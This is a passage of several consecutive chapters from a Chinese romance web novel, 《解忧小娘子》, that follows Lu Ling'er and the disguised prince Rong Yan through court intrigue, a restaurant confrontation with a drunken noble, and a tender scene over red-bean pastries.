若是有熟悉宁国朝堂之人见到这两人相坐而谈,一定会惊讶万分。 一个是不得势的病弱王爷,一个是朝堂上的吏部尚书,这两人怎会看起来如此熟稔? 只是容砚此时的面色带有几分严厉,狭长的瑞凤眼下,那看似温润的朱砂痣也仿佛少了几分柔情: “温大人,你不解释一下吗?” 他一边说,一边用手指轻扣案上平放的一本书册。 那书册的封面上,赫然写着三个大字——《青梅曲》。 吏部尚书温正奇倒也从容,即刻起身赔罪道: “主上息怒!” “主上?怕是那位才是你真正的主上罢!” 容砚敛起眼眸,他是不是示弱太久,给他们长胆了! “自然靖王才是臣的主上,那位只是心忧您孤军无援,想要帮您罢了。” “你就是这么帮的?”容砚修长的手指重重拍在书上。 那位的用意他已明了,这书中的幻境与幻主,便是此书真正的目的所在。 只是这温正奇,竟用他的故事做引子,写成话本供人闲读,实在是放肆! “主上恕罪!此书只是小女不外传的闺阁之作,是臣自作主张拿了出来……” 温正奇的女儿,曾是那陆小姐最要好的闺中密友,若说这世上除了当事者本人,还有谁能知晓当年两人之间的轶事,那也只有她了。 “我当然知道是你自作主张。”容砚不悦地睇了眼对面的温正奇: “为何偏选这么个法子?” “小女一直相信,陆小姐仍然在世,只是因为某种原因无法认回身份。臣想,若真如此,她要是能看到此书,定能心怀感念,佳偶或终有妙成的一天。” 容砚闻言,眸光微闪,眼底的不快减去了几分: “所以你就把此书推得人尽皆知?” “若非如此,陆小姐又如何得知主上的一片深情?” 温正奇也认为陆小姐幸存的可能很大,或许,正如书中所写呢? 想到陆铃儿的确已经看过此书,容砚握拳轻咳一声道: “那就请温大人约束好自己与温小姐,不要因此书再惹出不必要的麻烦。” “臣定当自律。”温正奇恭敬答复完毕,接着又问道: “主上既已明了幻境与幻主之意,接下来又当如何,请主上明示。” 密室之内,两人的谈话声渐渐模糊,如同这炉内青烟,丝丝缕缕,直至消散于空中。 * 陆铃儿的三倍任务终于完成了。 刚刚轻下一口气,一封书信又到了她的手上。 这是施绮寄来的书信,自从陆铃儿上次帮她解忧以后,她就一直记着这份恩情,经常书信问候,顺带还会寄些家乡小特产来。 只是这一次,她提起了一件事情。 原来施绮与《青梅曲》的作者佳偶妙成生也常有联系,上次珠玉书肆赖账一事,还是对方提到解忧阁,她才能找到这里请陆铃儿帮忙。 事后她将陆铃儿如何帮她解忧一事,在书信中详细告知了佳偶妙成生,没想到竟让对方起了见陆铃儿一面的念头。 要知道,佳偶妙成生与施绮一直是书信来往,他们还未曾谋面,倒是先请施绮代为邀约陆铃儿于京中一叙。 施绮在信中说,根据笔迹,她认为佳偶妙成生很可能是名女子,至于见是不见,还得陆铃儿自己决定。 女子?陆铃儿眨眨水汪汪的眼眸,心中也不禁好奇起来。 当今世道,女子能念书识字的都不算太多,更何况还是写出这样一本动人心弦的话本。 如果佳偶妙成生真是名女子,那她舍近求远将书稿先寄到仁州出版也就说得通了。 这样有趣的女子,陆铃儿也想见一见,遂应下了邀约。 七月初三,也就是三日后,陆铃儿应约到了鸿缘酒楼。 此处是长宁京酒楼里的新贵,不同于解忧居的古拙质朴,这里画阁朱楼、装潢雅致,深受京城上流人士的喜爱。 陆铃儿跟在引路的小二身后,听说约定的厢房已有客人先到一步,她心中对佳偶妙成生的好奇又增添了几分。 自己明明已经提前了一刻钟到,没想到对方倒是比她还急。 当她推开 12. 第 12 章 《解忧小娘子》全本免费阅读 温葭口中的好友,居然是《青梅曲》女主的原型? 陆铃儿晶亮的眼眸睁得圆圆的,没想到书中的故事,是真的? 陆铃儿惊讶的小表情,倒是在不经意间纾解了温葭心里的些许沉重,连带着方才那些若隐若现的追怀之感也散去了不少,她笑道: “当然,只是童年的部分有所参照,其它的皆是杜撰而已。” “那男主呢?也有原型吗?” 温葭正欲开口,却不知想起了什么,又停下反问向了陆铃儿: “铃儿,你对童年的事还记得多少?” “我吗?”陆铃儿有些不解,但还是眨巴眨巴眼睛,努力回想了一下,最终摇头道: “我记事很晚,最早只记得七岁与师父一起卖艺,再往前就不记得了。” 原来,她竟是全都不记得了吗? 其实方才温葭话都到嘴边了,只是想到父亲的叮嘱,不敢贸然开口。 如今陆铃儿既然忘却了过往,她便不能操之过急,还是再等等吧。 于是她隐下本欲出口的话语,只摇头道: “其实我能记下的也不算多,只是我这人吧,最喜看人成双成对、佳偶妙成,所以这男主,是我私心配给她的,没有原型。” 也不知是有意还是无意,温葭提及“没有原型”几字时,声音轻得几不可闻,不过也够陆铃儿听到了。 她心里莫名有些感伤,男主若也真有其人那该多好,温葭那位也爱变彩戏的好友不论还在不在世,也都不枉此生了。 “对了阿葭,女主既以好友为原型,为何她的喜好却是唱小曲呢?” “会变彩戏的女子不多,即便知晓她这爱好之人甚少,也难免被有心人猜出真实身份。 陆铃儿点头,她虽未过问温葭的身份,但仅凭她的衣着打扮便知她出身不凡,想来好友与她一般,皆是京中贵女,哪能随意任人猜测。 不知为何,她突然想起了那日在船上做的梦,如果温葭真的写了变彩戏的女主,兴许就是自己梦里那般模样吧。 正想着,厢房门轻轻叩响,酒楼侍从盛上佳肴,两人遂轻扏碗箸,边吃边聊。 陆铃儿发现,温葭点的这桌菜,竟和上次阁主在解忧居那次点的极为相似。 京城人的口味都与她这么像的吗? “阿葭也喜爱这酸甜口?”陆铃儿不禁道出心中疑问。 “夏日吃些酸甜口开胃,喏,尝尝这松鼠鱼?” 陆铃儿一尝,果然鲜嫩酥香、酸甜适口,令人胃口大增。 眼见陆铃儿像猫儿一般眯起了眼,温葭也不自觉地夹了一筷,嗯,果然很美味。 两人就这么边吃边聊,相处得异常融洽。 陆铃儿话匣子也打开了,同温葭讲起了之前走南闯北的经历,以及如何只身来到京城,又是如何去了解忧阁。 听闻陆铃儿是因遇到戚玉尘与靖王,才顺利进的解忧阁,温葭那如丝般的柳叶眼噌的一下亮了起来。 “你是说,你见过靖王?还是他们推荐你去的解忧阁?” 见温葭突然激动起来,陆铃儿有些莫名: “是啊,有哪里不对吗?” 温葭愉悦得眉眼都弯成了缝,不是不对,而是太对了! 方才还担心说多了徒增烦恼,没想到他们早已相识,真是……好极了! 她稳住心中的激奋,强装淡定地说道: “没哪里不对,只是刚好认识罢了。” 说完又恍然大悟地补了一句: “瞧我,说半天都忘了介绍,家父乃是当朝吏部尚书,我也因此入宫当过伴读,这宫里的皇子公主,我大体都是认得的。” 这就怪不得了,陆铃儿本就觉得温葭气度不凡,这么一看,果然是京中权贵。 温葭解释清身份,又装作不经意般问道: “对了铃儿,你想不想听听靖王的故事?” 靖王的故事? 陆铃儿想起与他仅有的两次会面,以及他那阳光下温润俊朗的面容,不由自主地点了点头。 温葭勾起唇角,故作神秘地压低声音,轻声为陆铃儿讲述起来: “说起这靖王啊,也是个苦命人……” 原来,靖王容砚虽为宁国四皇子,其母却是歌女出身,加之生来体弱,他一出生就被视为不祥,为宁帝所不喜。 别的皇子公主,都被赐以珍宝之字为名,唯有他,仅得宁帝口中一个“厌”字,还是礼部跟据字音择名为“砚”。 不仅如此,他的生母早逝,他在宫中无依无靠,日子过得很是艰难。 直至十年前,安、宁两国交战,宁国不敌,需派一名皇子为质,而当时所有的皇子中,仅他一人无母族撑腰。 年仅十岁的容砚遂以质子身份去了安国,这一去就是八年。 两年前,两国谈和,容砚得以回朝,宁帝为安天下人心,才封了他一个有名无实的靖王。 许是温葭讲得太过生动,陆铃儿只觉自己也似跟着靖王经历了一遭。 再想到外表丰神俊逸的靖王,却有着如此凄苦的过往,心也莫名地抽痛起来。 温葭见陆铃儿状若心疼的模样,唇角又扬起了几分: “不过靖王此去安国,却遇上了机缘,也算是因祸得福吧。” 温葭所说的机缘,正是陆铃儿曾有一面之缘的栖云子。 当年栖云子带着徒弟云游四方,在安国遇上容砚,收他作关门弟子,容砚的身体也在栖云子的照料下好转了不少。 “哦,对了,栖云子的大弟子,就是给你写引荐信的戚玉尘。” 温葭唇角不自觉地一撇,要不是得给陆铃儿讲清这段过往,她才不想提这个家伙。 陆铃儿没留意到温葭一瞬间的不以为然,只是眨眨圆圆的杏眼,心下闪过些许了然。 没想到,靖王与戚大人还有这一层关系,怪不得他们看起来如此熟稔。 看来今日与温葭一叙收获颇丰,不仅多了个无话不说的朋友,还得知了这么多的隐事。 两人就这么娓娓而谈,待得宴毕,都有些意犹未尽。 “铃儿,一同出去走走可好?” 陆铃儿也正有此意,两人遂出了厢房,向鸿缘酒楼大堂走去。 今日本就是温葭相邀,此时结账她无论如何都不会让陆铃儿插手,只让在一旁等候即可。 再说了,她也只需记账,不会让陆铃儿等太久。 只是温葭刚去往柜台,一群酒足饭饱的纨绔子弟便从陆铃儿身旁经过。 这几人明显是喝多了,路都走不稳当,从厢房出来就偏偏倒倒,尤其是那领头之人,一脚没踩稳,一个趔趄差点跌倒。 他晃动着肥硕的身子,眯缝着狠厉的双眼,扭头向酒楼大堂之人喝 13. 第 13 章 《解忧小娘子》全本免费阅读 此言一出,酒楼所有之人,都循着声音望了过去。 只见一华服男子,从里间一厢房缓缓走来。 他面容硬朗、身姿挺拔,周身散发的华贵气息,令在场之人都感到了一股压迫之势。 方才还出言豪横的闵亨,见到来人脸色大变,就连一旁的温葭,也在此时露|出了惊讶的表情。 “他是?”陆铃儿在温葭耳畔低声询问。 “吴王容珅。” 陆铃儿哦了一声,心道难怪此人看起来气度不凡,原来竟是贵为王爷。 她悄然收起了捏在手里的“钻山蚤”,看来应该是用不上了。 等等,吴王身后那人是—— 陆铃儿此时方才发觉,容珅的身后,还有一人与他一道从厢房出来。 那人身着烟墨色常服,容貌俊朗出尘,却无端显出几分苍白,细看之下,一双狭长的瑞凤眼下方,坠着一颗小小的朱砂痣。 “靖王?靖王也在!” 温葭一瞧见容砚,方才的紧张感顿时烟消云散,取而代之的,是一种莫名的激动。 她不自觉地勾起一抹笑意,扭头看向身后的陆铃儿。 容砚来得如此及时,真是甚好,甚好! 陆铃儿在见到容砚的瞬间,水汪汪的杏眼也同样是亮晶晶的。 与温葭的激动不同,她自从得知了容砚的身世后,看他的眼神就不自觉地带着些许怜惜。 只是没想到方才还在背后聊人半天,现在人就已经出现在了眼前。 此时容砚的目光也朝着陆铃儿的方向瞟来,两人的视线就这么在空中汇聚到了一处。 陆铃儿赧然,迅速收回目光,容砚只是轻展唇角,朝她点了点头。 他今日来此,理由也仅仅是陆铃儿在这里。 那吴王容珅想要拉拢他对抗徐王,他婉拒多次从未应过,只是这次,因着陆铃儿也在这鸿缘酒楼,他才应邀与吴王酒楼一叙。 也罢,吴王与徐王不合也不是一天两天了,而他,注定与徐王无法善了,既如此,被人误认为吴王派系也无妨。 谁能想到,半路杀出来个闵亨,竟对陆铃儿言行无状、欲行轻薄! 思及此处,容砚眸中寒光一转,冷冷睇向了堂中的闵亨。 再说那闵亨,甫一见到容珅,酒已醒了大半。 怎会遇上这位惹不起的主?还真是……晦气! 自先太子去后,太子之位空悬多年,而皇子中呼声最高的,便是他的表兄徐王,以及面前的吴王。 徐王容玮乃是闵贵妃之子,而这吴王容珅,则是邓贤妃之子。 这两位皇子早就斗得势同水火,他作为徐王派系,自是与吴王积不相容,没想到,今日竟是他坏了好事! 此时他顿下肥硕的身体,脸上的横瞬间下拉,小眼睛在眯缝的眼框里转了几圈,显出几分不屑: “吴王殿下当然有资格,怎么,想要……英雄救美?” 容珅全然没拿正眼瞧他,目光状似不经意扫过温葭,复又朗声说道: “闵亨,你这般欺男霸女,不知你的父亲、姑母,还有你那不可一世的表兄,是如何教导你的?” 他此番出声,并非为了什么公道正义,只是为了针对闵亨而已。 方才若非容砚提起外堂喧闹之人是闵亨,他根本不会插手。 既是徐王之人,那他可得好好敲打一番。 此外他还能顺手帮一把温葭,卖吏部尚书温正奇一个面子,一举两得。 闵亨此时也看懂了,容珅明面上是在为民女主持公道,其实只不过是为了落他闵家、以及徐王派系的面子。 他眯缝的眼中闪过一丝狠厉: “吴王是不是管得也太宽了!” “你轻薄民女,滋扰百姓,怎不归金吾卫管?给本王拿下!” 容珅话音刚落,酒楼外间几名武装卫兵应声上前。 要知道,容珅执掌金吾卫、维护京中安定,乃是宁帝钦定。 见容珅搬出金吾卫,闵亨立马就怂了,他怎么就忘了还有这茬! 他不自觉地往后退去,怎料脚下一滑,扑通一声跌倒在地上。 他挣着身子半天起不来,又见金吾卫已逼近,浑身横肉不停抖动,直直求饶道: “吴,吴王恕罪,是我,是我错了!求,求你别抓我!” 他身后那几个纨绔见状,也跟着纷纷求饶。 容珅本也只是想下闵亨的面子,见他如今像条狗一样跪在地上,心满意足地勾了勾唇: “既已认错,那就滚吧!” 闵亨连滚带爬起身欲走,堂中又有一道清润的声音响起: “等等!向两位姑娘道了歉再滚!” 众人的目光随着声音又集中到了容砚身上。 陆铃儿也大致看明白了方才的一切,这位吴王,表面是在主持公道,实则只是利用此事打压闵亨罢了。 自始自终,他都只是在彰显自己的权威,只有靖王才是真心替她们解围。 见容砚引导着众人将的目光又看了回来,她心生感激,朝他轻轻点了一下头。 容砚含首,唇角微微上扬。 陆铃儿身侧的温葭刚从容珅与闵亨这场戏中抽离,转眼瞧见两人眼底的小动作,眉眼弯弯,笑意忍都忍不住。 而闵亨却会错了意,只当温葭几人是在笑话他。 他咬紧牙,狠狠地盯着眼前众人。 吴王打压他也就罢了,这些人也敢踩在他的头上? “靖王的话你没听见?” 容珅故意点出容砚,他就是想让徐王这边的人知道,靖王已经是他派系的人了。 见吴王发话,闵亨终于还是按下眼中的狠厉,极不情愿地开了口: “温小姐、姑娘,我错了,你们大人不计小人过,放过我吧!” “滚吧!”温葭实在厌恶闵亨这脑满肠肥的糟心模样。 闵亨扭头看向容珅,见他没再表态,连忙带着他身后那几个纨绔,屁滚尿流地溜走了。 待走出门外,他才恶狠狠地回身念道: “你们给我等着!徐王会替我收拾你们的!” 大堂这边,闵亨这位蛮横的闹事者被清理,酒楼之人一片叫好。 容珅对百姓的称赞很是受用,他缓缓踱身上前,率先问向了温葭: “温小姐可还好?” “多谢吴王,我很好 14. 第 14 章 《解忧小娘子》全本免费阅读 长宁京南大街。 陆铃儿坐在朴雅的马车内,眼眸轻轻扫向对面的容砚。 她没料到温葭会请靖王送她去品然斋,更没料到靖王这般轻易便就应下了,还与她乘车同往。 之所以需要乘车,陆铃儿还是省得的,靖王虽然从未在她面前摆过什么架子,但毕竟身为王爷,怎能随意与她在街上抛头露面。 再说了,就凭他那俊朗出尘的容貌,走在街上定是众人瞩目的对象,若是身旁有她随行,不知会徒惹多少非议,自己又会招来多少嫉恨。 陆铃儿内心把小脑袋摇成了拨浪鼓,还是乘车好,乘车好。 只是吧,车厢内就只有她与靖王,上车后她除了道谢也不知道说啥,眼神都不知道往那儿放,生怕冒犯了对方,实属有些局促。 容砚似是察觉到了陆铃儿的窘迫,狭长的瑞凤眼缓缓抬起,温润的声音中暗藏几分关切: “陆姑娘,适才多有委屈,现在可还好?” 陆铃儿闻言心感触动,圆圆的杏眼迅速凝向容砚,见到他眷注的目光,唇角不自主地弯了弯: “没事没事,我好得很,多谢靖王关心。” 先前的局促顿觉云消雾散,陆铃儿是真心诚意地对靖王充满着感佩。 今日遇上那闵亨,虽说并未有什么实质性的伤害,但总归是糟心事一件。 只是除了靖王,没有人问她委不委屈、难不难过,只有靖王,关心她现在还好不好。 温葭与她一见如故,在危难时为她挺身而出她已是感激,没想到靖王也是如此体贴入微、关怀倍至,这怎能不让她感怀于心。 想来他身世坎坷,内心也会倍加细腻与柔软吧。 思及于此,陆铃儿看向容砚的目光又柔和了几分。 然而她不知道的是,容砚心里哪里是细腻柔软,他眸色微沉,只恨自己没能戴上面具作为阁主出现。 先前在厢房听得闵亨的轻薄之语,他就控制不住几欲起身相护。 只是他顶着靖王这个有名无实的身份,目前还不能恣意而为,只能示弱让吴王来出这个头。 藏在心里的姑娘受了委屈,他却无法挺身护她于身后,仅能事后言语关心,呵,还真是前所未有的……憋屈。 蜇伏多年,他以为早已把所谓的屈辱感抛掉,今日方才发觉,在陆铃儿面前,那些隐忍与克制全都不值一提。 看来,与那位的合作,得加快进程了。 此时面对陆铃儿满眼的感激,他敛下眸中的情绪,换上了一惯的温润模样: “无事就好,那闵亨不比今日欢那等贼人,他身后是整个徐王一派的势力,陆姑娘今后请务必留心。” 闵亨他自会收拾,只是徐王势力强大,难保他接下来不会搞小动作,哪怕陆铃儿就在自己眼皮子底下,还是得先提醒她一下。 “嗯。”陆铃儿点头,她知晓闵亨的势力不简单,此事怕是还有后招。 她又似是想起了什么,杏眼一弯,唇角现出甜甜的梨涡: “靖王放心,我自会多加小心。再说了,我在解忧阁还是很安全的,我们阁主可厉害着呢。” 陆铃儿说的也是真心话,在解忧阁这一个多月,阁主的英明决断与飒爽英姿,令她折服不已。 当初她进解忧阁虽是误打误撞,但如今,她是诚心喜欢这里,以及这里的每一个人。 “哦?”容砚一听此话,倒是来了兴趣: “听起来,你对你们家阁主似乎颇为欣赏?” “嗯,阁主实力又强、又能体恤众人,解忧阁谁人不钦佩?说来,还要感谢靖王和戚大人当初的引荐。” 陆铃儿眉眼弯弯,说起阁主眼眸里都带着光。 这眸光令容砚心中怦然一动,他竟不知陆铃儿对他的印象如此上佳。 不过,他还是第一次听人用“体恤”一词来评价他,倒也新奇。 他狭长的凤目闪了闪,薄唇勾起优美的弧度: “陆姑娘客气——” 只是话还没说完,两人乘坐的马车却猛地一颠。 陆铃儿一时没坐稳,身子随着车厢的晃动又直直向前倾去。 这一瞬间的变故令陆铃儿暗道一声不好,她身上携带的道具太多,一但没稳住身形,很容易倾身跌倒,上次撞进阁主怀里就是前车之鉴。 对面的容砚也被颠得身形晃动,但那车身摇晃的方向是朝着他这边来的,他背靠着车厢还无妨,陆铃儿却是被颠得朝他倾身扑了过来。 容砚下意识伸手去扶,脑海里却在刹那间闪过陆铃儿跌进怀里的画面。 他险些忘了陆铃儿所携道具的重量,若是寻常般搀扶,怕是又会落得上次一样的局面。 即便这短暂的相拥令他心动,他也不愿就此轻薄了陆铃儿。 容砚悄然于掌中聚力,待下一瞬手心与臂弯相接,陆铃儿就这么被他稳稳地扶住了。 两人定住身形,在各自的位置上安稳落座,却又征征地僵在了当场。 陆铃儿本以为又会重演与阁主那次的尴尬,没想到,靖王就这样顺利将她扶住了? 一种莫名的违和感从她脑中一闪而过,可惜还没来得及抓住,就已不见了踪影。 她抬眸瞟向容砚,发现他的眼底似星辰闪耀,而那闪耀的眸光深处,却似倒映着自己的影子。 她的心猛地一跳,方才那种违和感又冒了出来。 奇怪,此情此景,为何她竟生出一股熟稔之感,仿佛这一切她与靖王早就经历过似的。 等等,好熟悉的气息! 随着陆铃儿与靖王距离的靠近,她发现靖王身上有种若有似无的冷香,只是那香味太淡,让人感觉不太真切。 这香味……她似乎在哪里闻到过。 陆铃儿轻锁眉心,正欲在记忆里搜索一番,靖王却已从征然中回过神来。 他眼底的星辰流转、复又淡去,仿若欲晓的天际星光次第暗去,唯见东方之既白。 “冒犯了,陆姑娘。” 他轻轻抬腕,收回了扶在陆铃儿臂间的手,而那淡淡的冷香也随之消逝不见。 陆铃儿连连摇头,靖王这哪算是冒犯,明明是帮忙好吧,若不是他及时将她扶住,她怕是要出丑了。 “王爷恕罪!” 侍卫言风的声音在马车外响起,这一路他一直在车外随行。 容砚握拳轻咳一声,朝车外问道: “方才何故颠簸?” “路基不平,车轮陷于暗坑,现已无事。” 路基不平?工部这些人胆子也是越来越肥了。 容砚按下眼中的暗芒,只温声回道: “无妨,继续前行。” 车轮咕噜噜复又转起,朴雅的马车继续行于繁华的街市中。 经过适才的颠簸,车内两人都没再接话,幸而此处离品然斋已是不远,不多时,马车便停在了品然斋正门前。 容砚先行下车,转身欲扶陆铃儿,却见她已轻轻巧巧地落了地。 他不由得摇头笑了笑,回身与陆铃儿一前一后同行步入了品然斋。 品然斋乃是长宁京中最负盛名的糕点店,不仅糕点品类繁多,每种单品还各有特色,深受京中百姓喜爱。 然而他家的糕点却是限量供应,每日所售就那么多,顾客哪怕心甘情愿排队,也往往拿着钱也买不到。 不过凡事总有例外,这礼品券就是品然斋的例外。 它非是金钱能买,而是由老板赠送,执当日礼品券到店者,可不必排队,直接兑换 15. 第 15 章 《解忧小娘子》全本免费阅读 陆铃儿拿着池飞让带来的信,候在阁主的书房前。 池飞向来消息灵通,他说今日阁主应会来解忧居理事,果然不假。 随从向阁主通传之后,书房内沉默了一瞬,才听到阁主的冷泉般声音响起: “进。” 陆铃儿轻推房门进入书房,见阁主端坐于案前,正在查阅桌上繁多的卷宗。 阁主事务繁忙,她这么贸然跑来,是打扰到他了吧? 陆铃儿长吸了一口气,快步行至案前,双手将信件递上: “阁主,我受池飞之托,特来呈信。” 容砚抬眸,见眼前的陆铃儿恭敬低头,面具下的眼眸闪过一丝不易觉察的失落。 原来她是因为这信件才折返的,他还以为…… 他放下手上的卷宗,抬腕取过陆铃儿手中的信件。 陆铃儿看着阁主拆信展阅,一种莫名的熟悉感又袭上了心头。 今天这是怎么了,为何老是觉得所见一切都熟稔得紧? 咦?阁主身后是何物? 阁主常着灰衣,但此时背后却露|出了一个红色的小角。 从陆铃儿这个角度看去,那红色还挺显眼的,就是太小,让人看不真切。 容砚读完池飞的信,轻轻点头,视线回到陆铃儿身上,却发觉她的目光正看向自己身后。 不好,陆铃儿若是看到品然斋的红豆酥礼盒,还真是不好解释了。 毕竟这品然斋的礼券,一天仅有两张。 他不自然地轻咳一声,身形轻移,将礼盒严严挡住: “事情我已知晓,辛苦你跑这一趟了。” 陆铃儿连连摆手:“没事没事,我本来也是顺路。” 顺路吗? 容砚面具下的唇角微微上抬,不论是鸿缘酒楼,还是品然斋,到解忧居可都不顺路。 “那阁主若是没什么事,我就先回解忧阁了。” 陆铃儿正欲告辞,却被容砚拦下了: “等等。” 陆铃儿抬眸凝向容砚,不知阁主还有何事要吩咐。 “池飞信中所涉之事紧急,我需回一趟解忧阁,一起走吧。” 诶?又与阁主一同坐船回去吗? 前两次与阁主同行的窘迫还历历在目,不过事后回想,陆铃儿觉得主要问题还是在自己身上。 面对阁主,她总是太过紧张和恭敬,其实阁主并非她想像中那般严厉,她还是应该以平常心处之的。 思及此处,她轻轻弯起朱唇,现出两个甜甜的小梨涡: “好。” 容砚望向陆铃儿甜美的笑容,眼眸似闪过一片星海,只是瞬间便又风平浪静: “你在外间稍候,我收好卷宗便来。” 容砚没忘记那盒红豆酥还藏于身后,还是待陆铃儿出去他再起身吧。 陆铃儿哪知他的这番心思,只点头应下,先行退出房间,在外等候。 容砚长舒口气,将红豆酥小心收好,这才踱步出门。 * 长宁京东大街。 此时正值晡时[1],街面上人来人往、车马骈阗。 陆铃儿与容砚并肩而行,思绪却飘向了远方。 上次与阁主一起打这里路过,已是一个月前的事了吧。 那时听说泰来坊走水,她二人匆匆赶过去,没想到还是晚了一步。 “在想什么?” 容砚见身侧的陆铃儿有些心不在焉,不禁出声相问。 前先才在马车里说钦佩他,而今他人在眼前,她却在走神。 阁主的声音及时唤醒了陆铃儿,她没有隐瞒,说出了心中所想之事: “我在想,上次与阁主走在这里,还是为了泰来坊的事。” 接着她侧首望向容砚,圆圆的杏眼里写满了认真: “阁主,我何时才能学查案?” 之前阁主让她先完成三倍任务再谈,现在,她已经完成了。 容砚深深望向陆铃儿的眼,她的目光坚毅绝决,他明白,这一个月来,她从未放下泰来坊一事。 确切地说,她从未忘记查寻自己的身世。 也罢,有些事,也应该让她知晓了。 容砚轻叹一声,并未直接回答陆铃儿的问题,反倒是向她问道: “陆铃儿,你对自己所追查的陆家,有多少了解?” 提及陆家,陆铃儿心中一黯,颦眉摇头道: “线索太少,我并未查到多少有用的信息。” 陆姓虽算不上什么大姓,但姓陆者并不少见,奇怪的是,一但她查起十年前的陆家,不论是翻档案还是问线人,皆是一无所获。 如果说长宁京中的户籍是本编纂好的书册,那么这陆家这一页,就如同被人刻意从书册上撕下,复又揉碎了,烧化了。 只余一缕青烟,还倔强地证明着陆家的存在,只是那薄薄的烟气也被人驱散得快要消逝不见。 陆铃儿不知道,还能怎样才能得到陆家的线索。 “我近日倒是寻得了些关于陆家的事。” “真的?” 听闻阁主这边有了消息,陆铃儿的眼睛一下变得亮晶晶的,一瞬间的惊喜都快从眼里溢出来了。 “嗯。”容砚点头,没有错过陆铃儿那莹亮的眸光: “不如,你先知晓了陆家的情况,再决定是否继续追查也不迟。” “怎么?情况很复杂吗?” “嗯,很复杂。” 陆铃儿眼神黯了黯,莹光却并未熄灭: “好,我听阁主的。” “要理清陆家的过往,需得带你去一个地方。” 容砚抬眸望了眼天色: “今日无暇,那就……四日后吧!” “四日后?” “如果没记错的话,你接下来三日都排了任务。” “阁主记得我的任务安排?” 与陆铃儿的惊讶不同,容砚的眼眸不自然地闪了闪: “阁内所有解忧师的任务安排,我都是知晓的。” 陆铃儿杏眸睁得圆圆的,心里对阁主的钦佩又增加了几分。 阁主每日事务那么繁忙,还能把所有解忧师的任务都了然于胸。 她连连点头,应下与阁主的约定: “好,就四日后!” 谈话间,两人已行至江边。 江水浩浩荡荡、烟波渺渺,而江畔的艄公已在此候多时。 陆铃儿跟在容砚身后上了船,两人甫入船舱坐稳,船便稳稳地朝着江心驶去。 再次与阁主面对面坐在船舱里,陆铃儿已然淡定了许多,不再像从前那般局促不安。 16. 第 16 章 《解忧小娘子》全本免费阅读 容砚将手中的红豆酥缓缓放入口中,下颌微动,一副轻尝缓味的模样。 陆铃儿在上次解忧居的那一餐便注意到,阁主不论是举箸还是吞咽,举止都十分优雅,看他就餐颇有一种赏心悦目之感。 此次也不例外,她看着对面的阁主细细地品尝着红豆酥,即使看不到他面具下的表情,也觉悦目娱心,甚是养眼。 也难怪那七公主如此执着于阁主,实在是阁主太过于雍容闲雅。 正想着,容砚视线也朝她投了过来。 见陆铃儿呆呆的盯着自己瞧,他停下手中的小食,勾唇温声道: “这红豆酥味道不错,你也尝尝。” “哦,哦,我这就尝,这就尝。” 陆铃儿坐直身子,也从礼盒里拿出一块红豆酥喂进了嘴里。 甫一入口,便觉外酥内软、层次分明,果然是难得的美味。 再细细一嚼,酥皮的香脆与豆馅的软|嫩交相呼应,酥香与甜腻相得益彰,陆铃儿总算体会到,人们为何要为这糕点排上那么久的队了。 她不禁满足得眯起眼睛,又在手中红豆酥上咬了一口。 容砚盯着陆铃儿如同猫儿般享用的小表情,眼底蓄满了宠溺与温柔。 他发觉手中的红豆酥远没有她美味,便是啖尽天下美食,也比不上见到她这般惬怀的模样。 不仅是她本人,就连她执起的那块红豆酥,都比寻常的糕点更加惹人垂|涎。 尤其是她咬下的那枚小缺口,好似弯弯的月牙,一头勾住了他的眼,一头勾走了他的心。 不多时,陆铃儿手中的那块红豆酥便全数进了她的腹中。 她转眸扫向容砚,发觉他也刚刚吃完,便又伸手将礼盒捧出: “阁主再来一块?” 容砚却不知为何有些愣神,好半天才反应过来,然后轻轻摇了摇头。 “哦。” 陆铃儿见阁主推却,她也不好再劝,将礼盒盖好后轻巧地一翻手,便将其收纳妥当。 她暗自盘算,如今红豆酥还有四块,刚好分给方侃他们四个。 她正想着待会儿一回到解忧阁,就把红豆酥带给那几个同僚,却在不经意的一个抬眸时,撞上了容砚的目光。 奇怪,阁主的眼神怎么感觉怪怪的。 她轻眨杏眸,与阁主四目相接,只是这怪异的感觉不但没有消退,反而更明显了。 她这是……有哪里不对吗? 陆铃儿圆圆的杏眸写满了疑惑,正欲相询,却见阁主扬起薄唇,修长的手指在唇下轻轻点了几下。 原来陆铃儿在吃红豆酥时,酥皮上的一粒黑芝麻粘上了唇角,芝麻虽小巧,颜色却是突出,仿若唇边新生的一颗小痣。 陆铃儿方才并不知晓,顶着这颗小痣甜甜地问他还要不要再吃一块。 那模样看起来迷糊又可爱,容砚不觉愣了神,直至陆铃儿发觉了他眼神中的异样。 经容砚这么一提点,陆铃儿这才惊觉自己出了糗,连忙伸手擦拭。 “这下好了吗?” 她擦了许久也没发现有何异常,只好出声向阁主询问。 可惜,对面的容砚只缓缓摇了摇头,眼中的宠溺却越来越深: “还在。” 也不知是不是芝麻故意作对,陆铃儿擦了半天,唇下都被她擦红了,愣是没把那芝麻擦掉。 “啊?” 陆铃儿没想到这红豆酥竟如此黏人,她都擦成这样了,居然还没掉。 她正欲翻手拿出镜子来照上一照,却见阁主身体前倾,抬手伸向了她的脸颊。 阁主这是要…… 还没待陆铃儿反应过来,容砚修长的手指已经近在眼前。 下一瞬,他的食指便轻轻勾起她的下巴,拇指掠过她擦红的唇边,于唇角处缓缓一拭。 那骨节分明的手指,明明看起来那么温和有力,触在脸上却又轻得像羽毛,仿佛他抚上的是件独一无二的稀世珍宝。 这一刹那的触碰,轻得如同燕子掠过水面,只余阵阵涟漪。 然而对陆铃儿来说,此时感受到的哪里是涟漪,分明是惊涛骇浪。 当阁主的手抵上她的脸颊,她的心就猛地一荡,砰砰乱跳起来。 然而当那修长的指缓缓掠过,拭于她唇角之时,她只觉得时间骤然停滞,天地万物静于一处,连她的心,也停止了跳动。 阁主他……竟然帮她擦嘴? 霎时间,陆铃儿的脸,比那绽放的江花还要鲜红。 就在陆铃儿脑子一片混沌之际,容砚的手却已徐徐离开。 此刻他的脑子并不比陆铃儿清明多少,砰砰的心跳声清晰可闻。 曾几何时,他也这样抚上过她的唇,为她拭去唇角的碎屑。 所以方才,他又如记忆中那般做了。 只是这一次,与从前全然不同,他的小姑娘已然长大,而他的心,也早已生出了妄念。 此番他虽是率性而为,但他不悔。 容砚缓缓抬眸,陆铃儿那羞红脸的俏模样深深地映入了他的眸海之中,在那一片深海之下,竟是闪耀着万千星辉。 他稍稍旋转掌心,只见他白晳的指尖上,一粒小小的黑芝麻静静地停着,宛如一个顽皮孩子,累皮实了复又安然睡下了。 “好了。”他温声答复着她先前的询问。 陆铃儿瞥见容砚指尖的芝麻,本就红通通的脸涨得更为殷红。 